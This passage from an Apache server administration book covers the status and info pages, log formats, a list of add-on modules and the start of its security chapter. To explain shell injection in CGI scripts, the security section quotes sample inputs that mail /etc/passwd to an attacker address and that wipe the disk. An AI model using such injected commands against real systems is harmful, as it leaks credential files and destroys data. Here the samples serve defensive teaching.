PID   OS process ID
Acc   Number of accesses this connection / this child / this slot
M     Mode of operation
CPU   CPU usage, number of seconds
SS    Seconds since beginning of most recent request
Req   Milliseconds required to process most recent request
Conn  Kilobytes transferred this connection
Child Megabytes transferred this child
Slot  Total megabytes transferred this slot

There are several useful variants on the basic status request:

status?notable

Returns the status without using tables, for browsers with no table support

status?refresh

Updates the page once a second

status?refresh=6

Updates the page every six seconds

status?auto

Returns the status in a format suitable for processing by a program

These can also be combined by putting a comma between them, for example: http://www.butterthlies.com/status?notable,refresh=10.

Previous | Home | Next
11.2. Status | Book Index | 11.4. Server Info
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server Info (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

11.4. Server Info

Similarly, we can examine the actual configuration of the server by invoking info. This is useful to see how a remote server is configured or to examine possible discrepancies between your idea of what the Config files should do and what they actually have done. If you access http://www.butterthlies.com/info, you get a large amount of output -- an example is shown in Appendix E, "Sample Apache Log". It is worth skimming through it to see what kind of information is available.

Previous | Home | Next
11.3. Server Status | Book Index | 11.5. Logging the Action
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Logging the Action (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

11.5. Logging the Action

Apache offers a wide range of options for controlling the format of the log files. In line with current thinking, older methods (RefererLog, AgentLog, and CookieLog) have now been replaced by the config_log_module. To illustrate this, we have taken ... /site.authent and copied it to ... /site.logging so that we can play with the logs:

User webuser
Group webgroup
ServerName www.butterthlies.com

IdentityCheck	on
NameVirtualHost 192.168.123.2
<VirtualHost www.butterthlies.com>
LogFormat "customers: host %h, logname %l, user %u, time %t, request %r,
    status %s,bytes %b,"
CookieLog logs/cookies
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.logging/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/site.logging/logs/customers/error_log
TransferLog /usr/www/site.logging/logs/customers/access_log
ScriptAlias /cgi_bin /usr/www/cgi_bin
</VirtualHost>
<VirtualHost sales.butterthlies.com>
LogFormat "sales: agent %{httpd_user_agent}i, cookie: %{http_Cookie}i,
    referer: %{Referer}o, host %!200h, logname %!200l, user %u, time %t,
    request %r, status %s,bytes %b,"
CookieLog logs/cookies
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.logging/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.logging/logs/salesmen/error_log
TransferLog /usr/www/site.logging/logs/salesmen/access_log
ScriptAlias /cgi_bin /usr/www/cgi_bin
<Directory /usr/www/site.logging/htdocs/salesmen>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
require valid-user
</Directory>
<Directory /usr/www/cgi_bin>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
#AuthDBMUserFile /usr/www/ok_dbm/sales
#AuthDBMGroupFile /usr/www/ok_dbm/groups
require valid-user
</Directory>
</VirtualHost>

There are a number of directives.

11.5.1. ErrorLog

ErrorLog filename|syslog[:facility]
Default: ErrorLog logs/error_log
Server config, virtual host

The ErrorLog directive sets the name of the file to which the server will log any errors it encounters. If the filename does not begin with a slash ("/"), it is assumed to be relative to the server root.

Figure 11.5.1 If the filename begins with a pipe ("|"), it is assumed to be a command to spawn a file to handle the error log.

Figure 11.5.1 Apache 1.3 and above: Using syslog instead of a filename enables logging via syslogd(8) if the system supports it. The default is to use syslog facility local7, but you can override this by using the syslog:facility syntax, where facility can be one of the names usually documented in syslog(1).

Your security could be compromised if the directory where log files are stored is writable by anyone other than the user who starts the server.

11.5.2. TransferLog

TransferLog [ file | '|' command ]
Default: none
Server config, virtual host

TransferLog specifies the file in which to store the log of accesses to the site. If it is not explicitly included in the Config file, no log will be generated.

file

A filename relative to the server root (if it doesn't start with a slash), or an absolute path (if it does).

command

A program to receive the agent log information on its standard input. Note that a new program is not started for a virtual host if it inherits the TransferLog from the main server. If a program is used, it runs using the permissions of the user who started httpd. This is root if the server was started by root, so be sure the program is secure. A useful Unix program to send to is rotatelogs,[56] which can be found in the Apache support subdirectory. It closes the log periodically and starts a new one, and is useful for long-term archiving and log processing. Traditionally, this is done by shutting Apache down, moving the logs elsewhere, and then restarting Apache, which is obviously no fun for the clients connected at the time!

[56]Written by one of the authors of this book (BL).

11.5.3. LogFormat

LogFormat format_string [nickname]
Default: "%h %l %u %t \"%r\" %s %b"
Server config, virtual host

LogFormat sets the information to be included in the log file and the way in which it is written. The default format is the Common Log Format (CLF), which is expected by off-the-shelf log analyzers such as wusage (http://www.boutell.com/ ) or ANALOG, so if you want to use one of them, leave this directive alone.[57] The CLF format is:

[57]Actually, some log analyzers support some extra information in the log file, but you need to read the analyzer's documentation for details.

host ident authuser date request status bytes
host

Domain name of the client or its IP number.

ident

If IdentityCheck is enabled and the client machine runs identd, then this is the identity information reported by the client.

authuser

If the request was for a password-protected document, then this is the user ID.

date

The date and time of the request, in the following format: [day/month/year:hour:minute:second tzoffset].

request

Request line from client, in double quotes.

status

Three-digit status code returned to the client.

bytes

The number of bytes returned, excluding headers.

The log format can be customized using a format_string. The commands in it have the format %[condition]key_letter ; the condition need not be present. If it is, and the specified condition is not met, the output will be a "-". The key_letter s are as follows:

b

Bytes sent.

{env_name}e

The value of the environment variable env_name.

f

The filename being served.

a

Remote IP address

h

Remote host.

{header_name}i

Contents of header_name: header line(s) in the request sent from the client.

l

Remote log name (from identd, if supplied).

{note_name}n

The value of a note. A note is a named entry in a table used internally in Apache for passing information between modules.

{header_name}o

The contents of the header_name header line(s) in the reply.

P

The PID of the child Apache handling the request.

p

The server port.

r

First line of request.

s

Status: for requests that were internally redirected, this is the status of the original request.

>s

Status of the last request.

t

Time, in common log time format.

U

The URL requested.

u

Remote user (from auth ; this may be bogus if return status [ %s ] is 401).

v

The server virtual host.

The format string can have ordinary text of your choice in it in addition to the % directives.

11.5.4. CustomLog

LogFormat file|pipe format|nickname
Server config, virtual host

The first argument is the filename to which log records should be written. This is used exactly like the argument to TransferLog; that is, it is either a full path, relative to the current server root, or a pipe to a program.

The format argument specifies a format for each line of the log file. The options available for the format are exactly the same as for the argument of the LogFormat directive. If the format includes any spaces (which it will do in almost all cases), it should be enclosed in double quotes.

Instead of an actual format string, you can use a format nickname defined with the LogFormat directive.

11.5.5. site.authent -- Another Example

site.authent is set up with two virtual hosts, one for customers and one for salespeople, and each has its own logs in ... /logs/customers and ... /logs/salesmen. We can follow that scheme and apply one LogFormat to both, or each can have its own logs with its own LogFormats inside the <VirtualHost> directives. They can also have common log files, set up by moving ErrorLog and TransferLog outside the <VirtualHost> sections, with different LogFormats within the sections to distinguish the entries. In this last case, the LogFormat files could look like this:

<VirtualHost www.butterthlies.com>
LogFormat "Customer:..."
...
</VirtualHost>

<VirtualHost sales.butterthlies.com>
LogFormat "Sales:..."
...
</VirtualHost>

Let's experiment with a format for customers, leaving everything else the same:

<VirtualHost www.butterthlies.com>
LogFormat "customers: host %h, logname %l, user %u, time %t, request %r
    status %s, bytes %b,"
...

We have inserted the words host, logname, and so on, to make it clear in the file what is doing what. In real life you probably wouldn't want to clutter the file up in this way because you would look at it regularly and remember what was what, or, more likely, process the logs with a program that would know the format. Logging on to www.butterthlies.com and going to summer catalog produces this log file:

customers: host 192.168.123.1, logname unknown, user -, time [07/Nov/
    1996:14:28:46 +0000], request GET / HTTP/1.0, status 200,bytes -
customers: host 192.168.123.1, logname unknown, user -, time [07/Nov/
    1996:14:28:49 +0000], request GET /hen.jpg HTTP/1.0, status 200,
    bytes 12291,
customers: host 192.168.123.1, logname unknown, user -, time [07/Nov
    /1996:14:29:04 +0000], request GET /tree.jpg HTTP/1.0, status 200,
    bytes 11532,
customers: host 192.168.123.1, logname unknown, user -, time [07/Nov/
    1996:14:29:19 +0000], request GET /bath.jpg HTTP/1.0, status 200,
    bytes 5880,

This is not too difficult to follow. Notice that while we have logname unknown, the user is "-", the usual report for an unknown value. This is because customers do not have to give an ID; the same log for salespeople, who do, would have a value here.

We can improve things by inserting lists of conditions based on the error codes after the % and before the command letter. The error codes are defined in the HTTP/1.0 specification:

200 OK
302 Found
304 Not Modified
400 Bad Request
401 Unauthorized
403 Forbidden
404 Not found
500 Server error
503 Out of resources
501 Not Implemented
502 Bad Gateway

The list from HTTP/1.1 is as follows:

100  Continue
101  Switching Protocols
200  OK
201  Created
202  Accepted
203  Non-Authoritative Information
204  No Content
205  Reset Content
206  Partial Content
300  Multiple Choices
301  Moved Permanently
302  Moved Temporarily
303  See Other
304  Not Modified
305  Use Proxy
400  Bad Request
401  Unauthorized
402  Payment Required
403  Forbidden
404  Not Found
405  Method Not Allowed
406  Not Acceptable
407  Proxy Authentication Required
408  Request Time-out
409  Conflict
410  Gone
411  Length Required
412  Precondition Failed
413  Request Entity Too Large
414  Request-URI Too Large
415  Unsupported Media Type
500  Internal Server Error
501  Not Implemented
502  Bad Gateway
503  Service Unavailable
504  Gateway Time-out
505  HTTP Version not supported

You can use "!" before a code to mean "if not." !200 means "log this if the response was not OK." Let's put this in salesmen:

<VirtualHost sales.butterthlies.com>
LogFormat "sales: host %!200h, logname %!200l, user %u, time %t, request %r,
    status %s,bytes %b,"
...

An attempt to log in as fred with the password don't know produces the following entry:

sales: host 192.168.123.1, logname unknown, user fred, time [19/Aug/
    1996:07:58:04 +0000], request GET HTTP/1.0, status 401, bytes -

However, if it had been the infamous Bill with the password theft, we would see:

host -, logname -, user bill, ...

because we asked for host and logname to be logged only if the request was not OK. We can combine more than one condition, so that if we only want to know about security problems on sales, we could log usernames only if they failed to authenticate:

LogFormat "sales: bad user: %400,401,403u"

We can also extract data from the HTTP headers in both directions:

%[condition]{user-agent}i

prints the user agent (i.e., the software the client is running) if condition is met. The old way of doing this was AgentLog logfile and ReferLog logfile.

Previous | Home | Next
11.4. Server Info | Book Index | 12. Extra Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Extra Modules (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 12. Extra Modules

Contents:

Authentication
Blocking Access
Counters
Faster CGI Programs
FrontPage from Microsoft
Languages and Internationalization
Server-Side Scripting
Throttling Connections
URL Rewriting
Miscellaneous
MIME Magic
DSO

In addition to the standard modules mentioned in Chapter 1, "Getting Started", which we suggest you compile into your copy of Apache, there are a number of more volatile modules available. We do not propose to document them in this edition of the book, but the list might be interesting. Be warned: modules designed for earlier versions of Apache may need updating before they work correctly with Version 1.3. Modules can be found in several places:

  • The Apache ../src/modules directory. This contains the standard modules plus (in the 1.3 release) subdirectories experimental and extra. The curious may find a search rewarding. At the time of writing there was only mod_mmap_static, which allows faster serving of slowly changing files.

  • The Apache FTP directory at ftp://ftp.apache.org/apache/dist/contrib/modules/. At the time of writing the list was as follows:

    mod_allowdev

    Disallow requests for files on particular devices.

    mod_auth_cookie

    Authenticate via cookies on-the-fly.

    mod_auth_cookie_file

    Authenticate via cookies with .htpasswd-like file.

    mod_auth_external

    Authenticate via external program.

    mod_auth_inst

    Authenticate via instant passwords for dummy users.

    mod_auth_system

    Authenticate via system passwd file.

    mod_bandwidth

    Bandwidth management on a per-connection basis.

    mod_cache

    Automatic caching of documents via mmap().

    mod_cntr

    Automatic URL access counter via DBM file.

    mod_disallow_id

    Disallow requests for files owned by particular user IDs.

    mod_lock

    Conditional locking mechanism for document trees.

    mod_peephole

    Peepholing filesystem information about documents.

    mod_put

    Handler for HTTP/1.1 PUT and DELETE method.

    mod_qs2ssi

    Parse query string to CGI/SSI variables.

    mod_session

    Session management and tracking via identifiers.

  • The module registry at http://modules.apache.org/:

    Authentification (NIS-based)

    NIS/password-based authentication, using normal user IDs.

    Bandwidth management

    Limit bandwidth based on number of connections.

    CGI SUGId

    Set User/Group ID for CGI execution (like CERN).

    Chatbox

    A Chatbox module for Apache.

    Chroot Security Patch

    Patch for running httpd chrooted.

    Cold Flame

    Alpha version of a module to parse Cold Fusion code, using mysql.

    Cookie Authentication

    Fake basic authentication using cookies.

    Cookie authentication (MySQL-based)

    Compare cookie against contents of MySQL DB.

    Cookie Authentification (file-based)

    Cookie-based authentication, with .htpasswd-like file.

    Cookie Authentification (mSQL-based)

    Cookie-based authentication, with mSQL database.

    Corrosion Research Group

    Research education.

    DCE Authentication

    DCE authentication/secure DFS access.

    dir_log_module

    Implements per-directory logging.

    dir_patch (unofficial Apache 1.1.1 patch)

    Allows one to suppress HTML preamble for directories.

    Disallow ID

    Disallow serving web pages based on uid/gid.

    External Authentication Module.

    Authenticates using user-provided function/script.

    FastCGI

    Keeps CGI processes alive to avoid per-hit forks.

    FTP Conversions

    Viewing FTP archive using WWW, conversions.

    heitml -- Extended Interactive HTML

    Programmable database extension of HTML.

    Indexer

    Configurable directory listing module.

    inst_auth_module

    Module for instant password authentication.

    Java Wrapper Module

    Enables execution of Java apps as CGI directly.

    Kerberos Authentication

    Kerberos auth for mutual tkt or principal/passwd.

    LDAP Authentication Module

    Authenticates users from an LDAP directory.

    mod_throttle

    Throttle the usage of individual users.

    mod_allowdev

    Restrict access to filespace more efficiently.

    mod_auth_dbi

    Authenticate via Perl DBI, Oracle, Informix, more.

    mod_auth_ldap

    Apache LDAP authentication module.

    mod_auth_mysql

    mySQL authentication module for Apache.

    mod_auth_pgsql

    Authentication module for Apache 1.3 [image] PostgreSQL.

    mod_auth_radius.c

    Authenticate via external RADIUS server.

    mod_auth_rdbm

    Networked dbm or db authentication permits auth db sharing between servers.

    mod_auth_samba

    Samba-based authentication for passwords.

    mod_auth_smb

    Authorization module that uses SMB (LanMan).

    mod_auth_sys

    Basic authentication using System-Accounts.

    mod_auth_yard

    Authentication module via YARD database.

    mod_beza

    Module and patch converting national characters.

    mod_blob_pg95

    URI to Postgres95 Large Object mapping.

    mod_dlopen

    Load modules dynamically from ELF object files.

    mod_ecgi

    Embedded (nonforking) CGI.

    mod_fjord.c

    Java backend processor.

    mod_fontxlate

    Configurable national character set translator.

    mod_javascript

    Javascript module (ECMA-262).

    mod_jserv

    Java servlet interface.

    mod_ldap.c

    LDAP authentication and access rules.

    mod_lock.c

    Selective lock of trees and virtual hosts.

    mod_mmap_static

    mmap a static list of files for speed.

    mod_neoinclude.c

    NeoWebScript-Tcl scripting extension.

    mod_pagescript.cc

    SSI extensions.

    mod_perl

    Embed Perl interpreters to avoid CGI overhead and provide a Perl interface to the server API.

    mod_put

    Handler for HTTP /1.1 PUT and DELETE methods.

    mod_session

    Advanced session management and tracking.

    mod_ssl

    Free Apache interface to SSLeay.

    mod_weborb (WebORB project)

    Directly invoke CORBA objects to handle CGI requests.

    PAM Auth

    Authentication against Pluggable Auth Modules.

    Patch for native SunOS-4.1.x compilation

    Fixes to allow compilation on SunOS-4 without GCC.

    PHP/FI

    Server-parsed scripting language with RDBMS support.

    Postgres95 Authentication

    User authentication with the Postgres95 database.

    PostgreSQL Authentication

    User authentication with PostgreSQL (and cookie).

    PyApache

    Embedded Python language interpreter.

    Query String to Server Side Include variables

    Parse the query string to XSSI variables.

    RADIUS Authentication module

    RADIUS authentication module.

    Raven SSL Module

    SSL security module for the Apache web server.

    Rewriting/Mapping of local URIs

    Mapping on URI level; includes the "/" and "/."

    Russian Apache (mod_charset)

    Smart Russian codepage translations.

    Russian Charset Handling Module

    Russian document support in various charsets.

    SSI for ISO-2022-JP

    SSI handling ISO-2022-JP encoding document.

    System Authentication

    Use both system files and .htaccess for authentication.

    User/domain access control

    Allow or deny access to user/domain pair.

    UserPath Module

    Provide a different method of mapping ~user URLs.

    var_patch (unofficial Apache 1.1.1 patch)

    Add charset negotiation/guessing to .var files.

    WebCounter

    Dynamically count web page access.

    zmod_module

    The Logfile-Modul for VDZ online accounting.

  • Other sites; use a search engine to look for "Apache module".

12.1. Authentication

There is a whole range of options for different authentication schemes. The usernames and passwords can be stored in flat files (with the standard mod_auth) or in DBM or Berkeley-DB files (with mod_auth_dbm or mod_auth_db, respectively).

For more complex applications, usernames and passwords can be stored in mSQL, Postgres95, or DBI-compatible databases, using mod_auth_msql, mod_auth_pg95, or http://www.osf.org/~dougm/apache/.

If passwords can't be stored in a file or database (perhaps because they are obtained at runtime from another network service), the ftp://ftp.apache.org/apache/dist/contrib/modules/mod_auth_external.c module lets you call an external program to check if the given username and password are valid. If your site uses Kerberos, http://www2.ncsu.edu/ncsu/cc/rddc/projects/mod_auth_kerb/ allows Kerberos-based authentication.

The mod_auth_anon module allows an anonymous FTP-style access to authenticated areas, in which a user gives an anonymous username and a real email address as the password. There are also modules to hold authentication information in cookies and to authenticate against standard /etc/passwd and NIS password services. See the module registry at http://modules.apache.org/.

Previous | Home | Next
11.5. Logging the Action | Book Index | 12.2. Blocking Access
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Blocking Access (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.2. Blocking Access

The ftp://ftp.apache.org/apache/dist/contrib/modules/mod_block.c module blocks access to pages based on the referer field. This helps prevent (for example) your images being used on other people's pages.

For more complex cases, http://www.engelschall.com/~rse/ implements blocking based on arbitrary headers (e.g., referer and user-agent), as well as on the URL itself.

Previous | Home | Next
12. Extra Modules | Book Index | 12.3. Counters
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Counters (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.3. Counters

There are a number of counter modules available, including ftp://ftp.apache.org/apache/dist/contrib/modules/mod_counter.c and ftp://ftp.galaxy.net/pub/bk/web-counter.tar.gz. Some server-side scripting languages such as http://www.vex.net/php/ also provide access counters.

Previous | Home | Next
12.2. Blocking Access | Book Index | 12.4. Faster CGI Programs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Faster CGI Programs (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.4. Faster CGI Programs

Perl CGIs can be sped up considerably by using the http://www.osf.org/~dougm/apache/ modules, which build a Perl interpreter into the Apache executable and, optionally, allow scripts to start up when the server starts.

Alternatively, the http://www.fastcgi.com/ module implements FastCGI on Apache, giving much better performance from a CGI-like protocol.

Previous | Home | Next
12.3. Counters | Book Index | 12.5. FrontPage from Microsoft
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


FrontPage from Microsoft (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.5. FrontPage from Microsoft

The Microsoft FrontPage extensions are available from Microsoft. These add extensions to support Microsoft's FrontPage authoring product. However, the Apache Group feels that they introduce serious security problems, which is why they are not mentioned on the Apache site.

Previous | Home | Next
12.4. Faster CGI Programs | Book Index | 12.6. Languages and Internationalization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Languages and Internationalization (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.6. Languages and Internationalization

The http://wist.ifmo.ru/~sereda/apache/ module provides support for Russian character sets. The http://www.rcc-irc.si/eng/fontxlate/ module translates characters in single-byte character sets, for countries with multiple nonstandard character sets.

Previous | Home | Next
12.5. FrontPage from Microsoft | Book Index | 12.7. Server-Side Scripting
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server-Side Scripting (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.7. Server-Side Scripting

There are several different modules that allow simple (or not so simple) scripts to be embedded into HTML pages. ftp://pageplus.com/pub/hsf/xssi/xssi-1.1.html is an extended version of standard SSI commands, while http://www.vex.net/php/ and http://www.neosoft.com/neoscript/ are more powerful scripting languages.

Previous | Home | Next
12.6. Languages and Internationalization | Book Index | 12.8. Throttling Connections
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Throttling Connections (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.8. Throttling Connections

The ftp://ftp.apache.org/apache/dist/contrib/modules/mod_simultaneous.c module limits the number of simultaneous accesses to particular directories, which could be a way of implementing limits for image directories.

Previous | Home | Next
12.7. Server-Side Scripting | Book Index | 12.9. URL Rewriting
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


URL Rewriting (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.9. URL Rewriting

A much simpler URL rewriter than mod_rewrite is available at ftp://ftp.apache.org/apache/dist/contrib/modules/mod_uri_remap.c.

The http://www.cs.utah.edu/~ldl/apache-modules/disallow_id/ module prevents access to files owned by specified users or in certain groups. This can, for example, prevent all access to root-owned files.

The module http://www.cs.utah.edu/~ldl/apache-modules/log_peruser/ logs requests for a particular user's pages to a log file in the user's directory.

Both these modules are listed as http://www.cs.utah.edu/~ldl/apache-modules/, along with an enhanced mod_cgi based on the suCGI package.

Previous | Home | Next
12.8. Throttling Connections | Book Index | 12.10. Miscellaneous
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Miscellaneous (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.10. Miscellaneous

The ftp://ftp.apache.org/apache/dist/contrib/modules/mod_speling.c module tries to fix miscapitalized URLs by comparing them with files and directories in a case-insensitive manner.

A module that makes your FTP archive into web pages is available at http://sunsite.mff.cuni.cz/web/local/mod_conv.0.2.1.tar.gz.

Previous | Home | Next
12.9. URL Rewriting | Book Index | 12.11. MIME Magic
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MIME Magic (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.11. MIME Magic

The optional mod_mime_magic module uses hints from a file's contents and magic numbers to guess what the contents are. It then uses this information to set the file's media type if it is not apparent from the extension.

Previous | Home | Next
12.10. Miscellaneous | Book Index | 12.12. DSO
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DSO (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

12.12. DSO

Figure 12.12 The experimental module mod_so is included in the distribution, which allows you to load DSOs (Dynamic Shared Objects) under various flavors of Unix at runtime -- rather like Win32 allows you to load DLLs. At the moment this requires a fairly sophisticated understanding of C and Unix and is liable to change without warning. We recommend that anyone who is interested read the relevant sections in .../src/Configuration and .../htdocs/dso.h.

Previous | Home | Next
12.11. MIME Magic | Book Index | 13. Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 13. Security

Contents:

Internal and External Users
Apache's Security Precautions
Binary Signatures, Virtual Cash
Firewalls
Legal Issues
Secure Sockets Layer: How to Do It
Apache-SSL's Directives
Cipher Suites
SSL and CGI

The operation of a web server raises several security issues. Here we look at them in general terms; later on, we will discuss the necessary code in detail.

We are no more anxious to have unauthorized people in our computer than to have unauthorized people in our house. In the ordinary way, a desktop PC is pretty secure. An intruder would have to get physically into your house or office to get at the information in it or to damage it. However, once you connect a telephone line, it's as if you moved your house to a street with 30 million close neighbors (not all of them desirable), tore your front door off its hinges, and went out leaving the lights on and your children in bed.

A complete discussion of computer security would fill a library. However, the meat of the business is as follows. We want to make it impossible for strangers to copy, alter, or erase any of our data files. We want to prevent strangers from running any unapproved programs on our machine. Just as important, we want to prevent our friends and legitimate users from making silly mistakes that may have consequences as serious as deliberate vandalism. For instance, they can execute the command:

rm -f -r *

and delete all their own files and subdirectories, but they won't be able to execute this dramatic action in anyone else's area. One hopes no one would be as silly as that, but subtler mistakes can be as damaging.

As far as the system designer is concerned, there is not a lot of difference between villainy and willful ignorance. Both must be guarded against.

We look at basic security as it applies to a system with a number of terminals that might range from 2 to 10,000, and then see how it can be applied to a web server. We assume that a serious operating system such as Unix is running.

Figure 13 We do not include Win32 in this chapter, even though Apache now runs on it, because it is our opinion that if you care about security you should not be using Win32. That is not to say that Win32 has no security, but it is poorly documented, understood by very few people, and constantly undermined by bugs and dubious practices (such as advocating ActiveX downloads from the Web).

The basic idea of standard Unix security is that every operation on the computer is commanded by a known person who can be held responsible for his or her actions. Everyone using the computer has to log in so the computer knows who he or she is. Users identify themselves with unique passwords that are checked against a security database maintained by the administrator. On entry, each person is assigned to a group of people with similar security privileges; on a properly secure system, every action the user makes is logged. Every program and every data file on the machine also belongs to a security group. The effect of the security system is that a user can run only a program available to his or her security group, and that program can access only files that are also available to the user's group.

In this way, we can keep the accounts people from fooling with engineering drawings, and the salespeople are unable to get into the accounts area to massage their approved expense claims.

Of course, there has to be someone with the authority to go everywhere and alter everything; otherwise, the system would never get set up in the first place. This person is the superuser, who logs in as root using the top-secret password pencilled on the wall over the system console. He is essential, but because of his awesome powers, he is a very worrying person to have around. If an enemy agent successfully impersonates your head of security, you are in real trouble.

And, of course, this is exactly the aim of the wolf: to get himself into the machine with superuser's privileges so that he can run any program. Failing that, he wants at least to get in with privileges higher than those to which he is entitled. If he can do that, he can potentially delete data, read files he shouldn't, and collect passwords to other, more valuable, systems. Our object is to see that he doesn't.

13.1. Internal and External Users

As we have said, most serious operating systems, including Unix, provide security by limiting the ability of each user to perform certain operations. The exact details are unimportant, but when we apply this principle to a web server, we clearly have to decide who the users of the web server are with respect to the security of our network sheltering behind it. When considering a web server's security, we must recognize that there are essentially two kinds of users: internal and external.

The internal users are those within the organization that owns the server (or, at least, the users the owners intend to be able to update server content); the external ones inhabit the rest of the Internet. Of course, there are many levels of granularity below this one, but here we are trying to capture the difference between users who are supposed to use the HTTP server only to browse pages (the external users), and users who may be permitted greater access to the web server (the internal users).

We need to consider security for both of these groups, but the external users are more worrying and have to be more strictly controlled. It is not that the internal users are necessarily nicer people or less likely to get up to mischief. In some ways, they are more likely to create trouble, having motive and knowledge, but, to put it bluntly, we know (mostly) who signs their paychecks. The external users are usually beyond our vengeance.

In essence, by connecting to the Internet, we allow anyone in the world to type anything they like on our server's keyboard. This is an alarming thought: we want to allow them to do a very small range of safe things and to make sure that they cannot do anything outside that range. This desire has a couple of implications:

  • External users should only be able to access those files and programs we have specified and no others.

  • The server should not be vulnerable to sneaky attacks, like asking for a page with a one-megabyte name (the Bad Guy hopes that a name that long might overrun a fixed-length buffer and trash the stack) or with funny characters (like "!," "#," or "/") included in the page name that might cause part of it to be construed as a command by the server's operating system, and so on. These scenarios can be avoided only by careful programming. Apache's approach to the first problem is to avoid using fixed-size buffers for anything but fixed-size data;[58] it sounds simple, but really it costs a lot of painstaking work. The other problems are dealt with case by case, sometimes after a security breach has been identified, but most often just by careful thought on the part of Apache's coders.

    [58]Buffer overruns are far and away the most common cause of security holes on the Internet, not just on web servers.

Unfortunately, Unix works against us. First, the standard HTTP port is 80. Only the superuser can attach to this port (this is a misguided historical attempt at security), so the server must at least start up as the superuser: this is exactly what we do not want.[59]

[59]This is a rare case in which Win32 is actually better than Unix. We are not required to be superuser on Win32, though we do have to have permission to start services.

Another problem is that the various shells used by Unix have a rich syntax, full of clever tricks that the Bad Guy may be able to exploit to do things we do not expect or like. Win32 is by no means immune to these problems either, as the only shell it provides (COMMAND.COM ) is so lacking in power that Unix shells are almost invariably used in its place.

For example, we might have sent a form to the user in HTML script. His computer interprets the script and puts the form up on his screen. He fills in the form and hits the Submit button. His machine then sends it back to our server, where it invokes a URL with the contents of the form tacked on the end. We have set up our server so that this URL runs a script that appends the contents of the form to a file we can look at later. Part of the script might be the following line:

echo "You have sent the following message: $MESSAGE"

The intention is that our machine should return a confirmatory message to the user, quoting whatever he said to us in the text string $MESSAGE.

Now, if the external user is a cunning and bad person, he may send us the $MESSAGE:

`mail wolf@lair.com < /etc/passwd`

Since backquotes are interpreted by the shell as enclosing commands, this has the alarming effect of sending our top-secret password file to this complete stranger. Or, with less imagination but equal malice, he might simply have sent us:

`rm -f -r /*`

which amusingly licks our hard disk as clean as a wolf 's dinner plate.

Previous | Home | Next
12.12. DSO | Book Index | 13.2. Apache's Security Precautions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Apache's Security Precautions (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.2. Apache's Security Precautions

Apache addresses these problems as follows:

  • When Apache starts, it connects to the network and creates numerous copies of itself. These copies immediately change identity to that of a safer user, in the case of our examples, the feeble webusers of webgroup (see Chapter 2, "Our First Web Site"). Only the original process retains the superuser identity, but only the new processes service network requests. The original process never handles the network; it simply oversees the operation of the child processes, starting new ones as needed and killing off excess ones as network load decreases.

  • Output to shells is carefully tested for dangerous characters, but this only half solves the problem. The writers of CGI scripts (see Chapter 4, "Common Gateway Interface (CGI) ") must be careful to avoid the pitfalls too. The foregoing represents the official Apache line. However, the whole scheme was inherited from NCSA, and, in our opinion, is completely misguided. The problem is that the dangerous characters are protected by backslashes, which, of course, disappear once they have been interpreted by the shell. If that shell then calls another one and passes them on, their dangerous behavior reappears.

Internal users present their own problems, the main one being that they want to write CGI scripts to go with their pages. In a typical installation, the client, dressed as Apache (webuser of webgroup) does not have high enough permissions to run those scripts in any useful way. This can be solved with suEXEC (see the section Section 4.7, "suEXEC on Unix" in Chapter 4, "Common Gateway Interface (CGI) ").

Previous | Home | Next
13. Security | Book Index | 13.3. Binary Signatures, Virtual Cash
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Binary Signatures, Virtual Cash (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.3. Binary Signatures, Virtual Cash

The final and perhaps the most important aspect of security is providing virtual money or binary cash; from another point of view, this could mean making digital signatures, and therefore electronic checks, possible.

At first sight, this seems impossible. The authority to issue documents such as checks is proved by a signature. Simple as it is, and apparently open to fraud, the system does actually work on paper. We might transfer it literally to the Web by scanning an image of a person's signature and sending that to validate his or her documents. However, whatever security that was locked to the paper signature has now evaporated. A forger simply has to copy the bit pattern that makes up the image, store it, and attach it to any of his or her purchases to start free shopping.

